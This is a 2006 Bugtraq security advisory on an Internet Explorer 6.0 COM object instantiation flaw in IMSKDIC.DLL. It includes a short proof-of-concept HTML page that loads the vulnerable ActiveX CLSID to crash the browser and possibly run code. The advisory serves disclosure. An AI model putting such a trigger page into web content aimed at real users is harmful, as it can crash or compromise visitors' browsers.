bugtraq - [XSec-06-02]: Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability

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Date: Tue, 15 Aug 2006 23:15:56 +0800
From: nop <nop@...c.org>
To: bugtraq@...urityfocus.com
Subject: [XSec-06-02]: Internet Explorer (IMSKDIC.DLL) COM Object Instantiation
 Vulnerability

Advisory ID:
XSec-06-02

Advisory Name:
Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability

Release Date:
08/15/2006

Tested on:
Internet Explorer 6.0 SP1 on Microsoft Windows XP SP2 CN

Affected version:
Internet Explorer 6.0

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
A vulnerability has been found in Internet Explorer 6.0. \
When Internet Explorer tries to instantiate the IMSKDIC.DLL \
(Microsoft IME) COM object as an ActiveX control, it may corrupt \
system memory in such a way that an attacker may DoS and possibly \
could execute arbitrary code.

Exploit:
=============== IMSKDIC.DLL.htm start ================

<!--
// Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability
// tested XP SP2 CN

// nop (nop#xsec.org)
// http://www.xsec.org


// CLSID: {6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}
// Info: Microsoft IME SingleKanjiDictionary interface
// ProgID: IMESingleKanjiDict.8.1
// InprocServer32: C:\WINDOWS\IME\imjp8_1\Applets\IMSKDIC.DLL

--!>
<html><body>
<object classid="CLSID:{6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}" ></object>
</body></html>

=============== IMSKDIC.DLL.htm end ==================

Link:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=8

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